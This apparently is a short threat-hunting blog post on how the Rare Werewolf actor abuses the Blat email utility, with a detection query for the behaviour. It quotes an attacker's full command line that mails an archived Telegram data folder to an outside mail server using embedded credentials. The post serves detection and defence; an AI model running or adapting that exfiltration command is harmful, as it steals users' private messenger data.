098. Adversaries Keep Abusing Blat for Data Exfiltration

Hello everyone! Today I decided to share some information on an interesting exfiltration tool abused by Rare Werewolf. It's called Blat.

It's been used by this activity cluster for quite a long time, here's an example:

blat.exe -to in@vniir.nl -f "TELEGRAM<sent1@vniir.nl>" -server mail.vniir.nl -port 587 -u sent1@vniir.nl -pw fuFhDK3anVteQCvfVQWk -subject "Telegram 927537/user" -body "Telegram 927537/user" -attach "C:\Users\user\Window\tdata.rar"

As you can see, tha adversary uses this tool to exfiltrate collected Telegram messenger data. So, yes, Blat is just a small legitimate utility enabling the threat actors to send collected data via email!

We can hunt for such behaviors focusing on credentials and attachments:

event_type: "processcreatewin"

AND

proc_file_originalfilename: "blat.exe"

AND

cmdline: ("u" AND "pw" AND "attach")

By the way, the sample have even more interesting behaviour, have a look!

See you tomorrow!

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